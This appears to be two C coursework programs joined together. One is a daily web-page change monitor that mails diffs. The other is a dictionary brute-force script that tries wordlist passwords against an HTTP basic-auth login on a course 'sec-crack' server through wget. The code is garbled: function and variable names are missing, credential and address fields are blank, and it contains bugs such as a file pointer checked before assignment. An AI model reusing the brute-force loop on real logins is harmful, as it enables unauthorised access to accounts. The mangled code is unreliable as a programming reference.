# include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}











#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>
#include<strings.h>
int ()
{
  char url[100];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/ ";
  FILE *fp;

  char pass[15], *valid;
  valid = "pass";
  int , end, time_var;
  int hack =1;
  int attempt =1;

  fp = fopen("words.txt","r");
  if (fp == NULL)
  exit(1);

   = time();
  while (valid != NULL)
  {
   valid  = fgets(pass,15,fp);
   pass[strlen(pass)-1] ='\0';

   if(strlen(pass) != 3)
   continue;

   printf("%s\n",pass);
   sprintf(url,"%s%s %s",syscom,pass,http);

   hack = system(url);
   attempt++;

   if (hack == 0)
    {
     end = time();
     time_var = (end-);
     printf("\nThe password is :%s",pass);
     printf("\nNo. of Attempts   crack the password :%d",attempt);
     printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
     exit(1);
     }
   }
  exit(1);
 }

